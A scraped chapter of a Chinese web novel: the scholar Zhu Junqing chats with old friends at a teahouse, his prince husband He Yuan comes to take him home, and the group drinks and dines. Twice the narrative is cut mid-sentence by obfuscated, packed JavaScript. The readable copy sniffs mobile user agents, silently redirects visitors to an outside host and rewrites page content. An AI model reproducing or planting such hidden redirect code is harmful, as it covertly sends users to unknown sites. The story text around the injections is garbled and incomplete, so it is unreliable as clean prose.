竹君青皱眉,也不知道以这人的脑袋是怎么考中进士的,说∶“你爹光天化日之下偷偷在人家百姓房屋旁边如厕还有理了是吧?” “噗呲——”周围的其他兄弟听见这话忍不住笑了个人仰马翻。 江陵川没扑腾了,老老实实与木桌零距离接触,脸红了个彻底,还是忍不住为他爹正名∶“那只是意外好吗,人有三急,我爹忍不住了,况且又没拉到人家家里……” “那你爹去年设宴,把我拉到后院谈话结果张口吐了我一身,还不能骂他几句了?” 江陵川没说话,支支吾吾半天,憋出来一句∶“……你那是骂了他几句吗,明明连着骂了他几个月。” 竹君青把他放开,江陵川被解放,赶紧起来,结果就吃了竹君青一个脑壳蹦。 “啊——” 江陵川向来是他们之中最活泼的,又爱惹竹君青这个嘴巴最毒的,他俩在一起就不愁笑话看。 “行了,海舟你就别闹腾他了,”出声的是竹君青一旁的慕思月——内阁首辅的嫡子。 海舟是江陵川的字。 江陵川只能捂着脑袋,念叨着“哪里是我闹他明明是他单方面打我”骂骂咧咧地去找位子坐了。 竹君青用边上的茶具给自己沏了杯茶,悠哉悠哉地喝起来——一股火锅味。 慕思月看着竹君青,关心问道∶“最近身体好些了吗?” 慕思月已经临近而立之年了,比他年纪大了不少,几乎是亲哥哥般体贴的存在。 …当然不是竹宇那种亲哥。 竹君青撇撇嘴,当初几个月前他被关在大理寺受了刑,还是慕思月晚上接他回去的。 他一口答道∶“好多了,你把我扔田里我能比牛多耕两亩地。” 慕思月笑他,没多说什么。 竹君青随意扫了一圈,才发现少了个人。 “宋明怀呢,他今天怎么没来?”竹君青问到。 “唉,明怀兄几日前被调去大理寺了,新官上任三把火,现在正忙着呢。”接话的是侍郎嫡子——周鹏。 竹君青点点头,随口问道∶“话说你们现在都做了什么职位,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾无歌“切”了一声,看到竹君青在看他,不自在地别过头去,说∶“别让我看不起你。” 竹君青笑了笑,举起那杯火锅味的茶敬他∶“必定不辱使命。” 大家看竹君青状态不错,也不免觉得欣慰,气氛再次活跃了起来。 竹君青在王府已经吃过饭了,就在旁边沏茶,研究如何给这绿茶去掉火锅味。 大家叽叽喳喳地闹着,忽然不知道谁说了一句∶“你们最近有倭人进安城吗?” 众人都被问得一愣,一脸蒙圈地摇头。 “那我就奇怪了…我前几日下朝的时候怎么在宫中看见了倭人?” 立马就有人出声反驳∶“你看错了吧,倭人本就长得跟我们相似,最近这倭人还在我们东海边境闹腾呢,怎么可能进得了都城?” 那人又道∶“哪有,那倭人里面有一个女人,白面红唇,发髻和妆容分明就是倭人的模样。” 李丰遥问他∶“你哪一日看到的?” 那人报了一个日期,说∶“那日皇上留左相商讨要事,左相想跟皇上推举我,我就晚了些走,结果就遇到了倭人。” 竹君青问他∶“你有没有看清那倭人身上有什么特殊的装饰?或是服装有什么特殊之处?” 那人摇摇头∶“那群倭人穿得倒是华贵,可是跟我幼时去东海那看到的倭寇并无大差。” “倭人进宫…谁会准他们进宫呢?” “皇上。” 8. 茶不自知 这个答案出来时,全场没一人敢说话。 开玩笑,私自议论圣上可是死罪。 “东海倭寇扰民已久,陛下仁慈,没有赶尽杀绝,此次诏倭人进宫应该是商议此事。” 说话的是慕思月。 闻言,大家又装作恍然大悟的样子,顺着台阶附和了几句又开始嘻嘻哈哈了起来。 竹君青没说话,只是皱起的眉头表露了他的心绪。 “素闲?有什么烦心事吗?”慕思月见状问他。 竹君青看着他温润如玉的模样,实在是找不出一丝破绽,只好妥协般说∶“没有什么,只是忧虑国民安康。” 慕思月听闻,笑了笑,更是温和了几分,安慰他∶“素闲有心是好事。” 众人又待了一会儿,竹君青估摸着鹤沅可能已经回府了,就提议准备离开了。 谁道好巧不巧,开窗一看——外面正好下起雨来,只是眨眼间便越来越大,小玉和他来时没坐府里的马车,更没带伞,现在出不去,兄弟们就又把他留下不让他走。 “素闲,再陪我们玩一会儿呗,等下我派人送你回去。” 竹君青只好点头同意,大家又坐在一起,让伙计把碗筷什么的收拾走了,换了些茶水甜点上来。 “素闲素闲,你是不是要回霖王府呐?”江陵川磕着瓜子问道。 一开始他们是万不敢提及此事的,后面看竹君青心态惊人的好也就没顾那么多了。 竹君青饮了口没有火锅味的茶,答∶“嗯,不然我还去哪?” 此话一落,兄弟们顿时都凑过来,神秘兮兮的。 竹君青挑眉,奇怪地问∶“你们要干什么?” 江陵川旁边的人低声开口问道∶“素闲,霖王待你怎么样?” 竹君青想了想,说∶“还好,跟寻常友人没什么两样。” 如果昨晚没有说想亲他的话。 对面几个人又开始互相拱来拱去,怂恿了半天,其中一个人才斗胆开口∶“那个…霖王和你…那啥了吗?” 竹君青一口茶差点喷出来,把他呛得上接不接下气,旁边的慕思月给他拍了半天才缓过来。 竹君青抬头,一脸不可置信地问他∶“你们把我叫过来就是问这个?” 好歹也是一起生活了好几年的人,是早有预谋还是一时兴起竹君青还是看得出来的——现在这样明显是前者。 那人掩面咳嗽了几声,装模作样道∶“这是什么话,我们哪敢……所以做了吗?” 竹君青手上的茶杯都快被捏碎了,他咬牙切齿道∶“当然没有。” “那你们睡在一起了吗?” “…这个有,我们这两天都睡在一起。” 几乎是刚说完,就有人出声骂道∶“柳下惠啊,他这都忍得住?!” 竹君青扶额∶“这有什么忍不住的,我又不是姑娘。” 江陵川一个拍桌∶“你有本事把头抬起,看着这般面孔,如天下神仙下凡似的,不说了你家那几个没眼力劲儿的,谁不喜欢你?” 竹君青头埋得更深了,汗颜道∶“…说得如此夸张,叫别人听到了又看我笑话了。” 竹君青另一旁坐着的司平河忍不住了,伸出手一把掐住竹君青的下巴,把他的脸正过来。 “嘶——”这家伙的手劲儿可不小,竹君青吃痛出声。 这家伙是礼部尚书的嫡子,也不知道怎么生的,虽然不喜开口说话,但总是行出惊人。 众人啧啧道∶“美玉无瑕。” “冰清玉粹。” “怀珠韫玉。” “不是说霖王自小纨绔不堪吗,坊间传闻他少时在酒楼夜夜笙歌,这种好色之徒居然对素闲不为所动?” “我怎么了?” 大家先是听到一道陌生的男声,才听到木门被打开时“嗞呀”的声音。 竹君青和司平河坐在正对着门的地方,反应最快——第一眼就看到朝服还没褪去的鹤沅,尽管司平河不知道这个人是谁,但还是下意识松开了手。 竹君青反而呆住了——这人是谁?鹤沅他的夫君;他为何在这?不知道;那自己现在在做何事?不清楚。 “霖王殿下。” 慕思月最先反应过来,向鹤沅行礼。 这个时候大家才陆陆续续回忆起来,也跟着站起来行礼。 几个没做官的不认得鹤沅的也被拉起来——比如司平河,就连竹君青也不知不觉站起来低头跟他们行一样的礼。 鹤沅原本听到里面好像在说自己坏话还有些生气,看起来也恶狠狠的。 结果这么一来,鹤沅立马就愣了,气势也软了下来。 “你们别跟我行礼啊…” 慕思月平身,站在一旁说∶“礼数不可无。” 鹤沅脑袋一向不太聪慧,嘴巴也笨,不知道怎么回答慕思月,只说∶“我只是来接素闲回家的。” 闻言,在场的众人顿时眯起眼,偷偷密谋起什么来。 “殿下别那么着急走嘛,我们都是素闲的同僚,早就对您仰慕已久,今日好不容易见到,不坐下喝几杯?” 这么说着,离门口最近的那个兄弟就推着鹤沅进来。 只能说竹君青身边这群友人兄弟没一个老实的,估计看鹤沅露出来老实憨厚的本性就又开始憋着什么坏水了。 竹君青叹了口气∶“长恨,你坐我这边来。” 鹤沅立马点点头,在一旁搬了把椅子就老老实实坐在竹君青身边。 江陵川看这个情形,干脆提议道∶“大家都别走了一起留下来用晚膳吧,我去安排厨房准。” 众人想了想,看没有异议,便都点头答应了。 殿试前各位都忙于备考,殿试之后,准备重考的忙着温习,当官的忙着为朝廷效力,再加上竹君青那件事,他们已经很久没有这么愉快地在一起聚一聚了。 只是这里面多了一个霖王鹤沅。 “殿下,听说你前几年都在西南边塞打仗,那边有什么新奇事吗?” “殿下,我听说西南地区的人会巫术,可否属实呀?” “殿下殿下,你杀过多少西南贼人?哇——这么多,殿下当真厉害。” “……” 只是眨眼,几个兄弟就围着鹤沅攀谈起来,鹤沅被围着中间,有点受宠若惊的样子,偏偏他又是里面最高大的,看起来还有几分戏剧。 “没想到…你这个夫君看起来还好生笨拙。”顾无歌不知道什么时候凑到竹君青身边,在他耳畔低声道。 竹君青瞟了眼鹤沅,又看了眼顾无歌,抬手饮了口茶,道∶“他自然是没你聪明,满肚子坏水。” 顾无歌“切”了一声,噎他∶“喝这么多茶也不怕尿急。” “……”竹君青一口茶哽在喉咙里,好半天才咽下去。 他不甘示弱道∶“那你还观察得挺仔细。” 顾无歌一愣,脸色涨红,说话都结巴起来∶“胡…胡说什么,谁…谁观察你了。” 竹君青奇怪,两人平时互嘴比这话毒千万倍,怎么这个时候这人反应如此怪异。 顾无歌还觉得不够,又扔下一句∶“你变成断袖了我才不管你,我才不是断袖。” 说罢,他就灰溜溜地走了。 竹君青∶“……” 这人必然是今日又没吃药。 他没管顾无歌,又侧耳去听旁边鹤沅一群人在聊什么——这一听倒好,短短几刻,他们的话题不知道偏到哪里去了。 “霖王殿下,你对素闲有什么情愫没?” “殿下,你是断袖吗?” “殿下殿下,你觉得竹素闲怎么样?” 竹君青∶“……” 鹤沅支支吾吾地,半天也没说出个所以然来,不过他们也兴致不减,一口一个“殿下地问着。” 直到江陵川回来,他们才又跟着江陵川打打闹闹,鹤沅这才脱离苦海。 后面大家又开始聊一些家长里短,聊着聊着又莫名其妙聊到国家兴盛,什么“天下大势分久必合,合久必分”,另一个又说“放屁,只要天下公共于人为何不可达成永合”,一群人又开始吵起来。 最后又争论到前段时间北方的旱灾,这里倒是好足足吵了一个时辰,十几个人硬是想出了几百种方案。 吵得最欢的还数江陵川和顾无歌,两人一个主张就地解决,一个主张转移资源,争论了半天最后就差打起来了,还是竹君青和慕思月去劝架的。 到了傍晚,众人吵累了,准备上晚膳了,才安静下来。 竹君青这才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981286|161431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现鹤沅已经靠在椅子一旁,歪着脑袋,昏昏欲睡了。 竹君青起了玩心,起身勾了勾他的下巴,刚好把他弄醒了。 鹤沅一醒,就顿时委屈巴巴地看着竹君青。 虽然鹤沅身形高大,面目俊秀且十分阳刚,但撒起娇来竟无一丝违和感。 看得竹君青心里一软,柔声问他∶“怎么了?” 鹤沅往他身边靠,小声说∶“我是不是麻烦你了,你们说的话我都听不懂,他们都好生聪慧,不像我只会乖乖呆在你身边。” 竹君青一顿——他可太吃这套了。 竹君青聪慧无双,偏偏对很多情感有些过分的迟钝,特别是在类似于爱慕的积极情感上。 只有给他最直接的攻击,他才会真真切切地感受到这份情感的炙热。 比如现在。 竹君青给鹤沅顺毛,道∶“别听他们的,生得如此狡诈干什么,你也很好。” 鹤沅抬头,看着竹君青的眼睛,一眨一眨的,说∶“真的吗?” 竹君青点头道∶“不必跟他们去比,不值当。” “那素闲,你是觉得他们好,还是我好?” “你们在我心中自然都很好…好了还是你好。” “……” 一直坐在竹君青身旁的司平河身体一僵,放下了手中的书,去倒了杯茶举到竹君青面前。 竹君青一脸诧异地问他∶“做什么?” 司平河惜字如金但一针见血∶“茶吗?” 竹君青没有领会他的深意,拿过来,狐疑地端详半天,实在是瞧不出什么问题,最后才说∶“茶当然茶啊。” 尽管只是跟竹君青吐露心声但还是感觉隐隐被阴阳地鹤沅∶“……” 到了饭点,一群人又热闹了起来。 以李丰遥和江陵川为中心,开始互相给彼此灌酒,势要把对方给干趴下。 这自然也免不掉竹君青和鹤沅,竹君青身体不好,喝了两口意思了一下就没有再喝了。 只是鹤沅,被怂恿着喝了一杯又一杯。 甚至到了后面,他们看着鹤沅老实憨厚的模样都开始不约而同地找鹤沅灌酒。 “鹤兄,我敬你一杯,常年为国而战,使我敬佩。” “鹤兄,我敬你一杯,祝你和素闲百年好合。” “鹤兄鹤兄,跟我喝一杯呗。” 鹤沅没有察觉,到了后面已经醉得有些神志不清了,不过他喝酒不上脸,众人都没看出来,还是竹君青看他状态不对,找了个借口带他回家了。 “公子!”刚下楼,就看到小玉在门口守着。 竹君青问她∶“你怎么还没走?” 小玉说∶“下午的时候王爷来找你,说来接你回家,我给他指了路后看你们半天没下来,就被李姨姨带着去厨房干活了,李姨姨请我吃了饭,刚刚才准备走。” 竹君青点了点头,又回头看了眼脚步虚浮的鹤沅,干脆人小玉扶着他,出去拦了辆马车。 上了马车没多久,鹤沅就靠在竹君青肩膀上睡着了。 不知是不是因为下了雨的缘故,天气好像变凉了许多。 在茶楼包厢里人多有热气,竹君青没感觉出来,刚刚下楼在外面,才冷得打哆嗦。 马车一个颠簸,竹君青的手不小心与鹤沅的手一碰,才恍然发觉鹤沅的体温热得吓人。 竹君青赶忙去摸他的额头,担心他是不是发热,只是刚碰上就被鹤沅抓住了。 “怎么了?”鹤沅迷迷糊糊地问道。 竹君青担忧地说∶“你身体这么烫,有没有感觉哪里不舒服?是不是发热了?” 鹤沅摇摇头∶“没有,我天生火气旺。” 竹君青狐疑,左看看右看看,发现对方应该确实没有大碍后,才准备把手收回来,却不料被鹤沅牢牢捉住。 “倒是你,你手怎么这么冷。” 鹤沅把另一个手也伸出来,将竹君青的双手裹起,紧紧握在一起。 竹君青心一软∶“我…体寒。” 鹤沅抬眼奇怪地看着他,竹君青被他看得心底有些发虚,移过眼,偏头不去看他。 不过很快,鹤沅就把那种眼神收了回去,乖顺地枕在竹君青肩上,用满足的语气说∶“那还好你碰上了我。”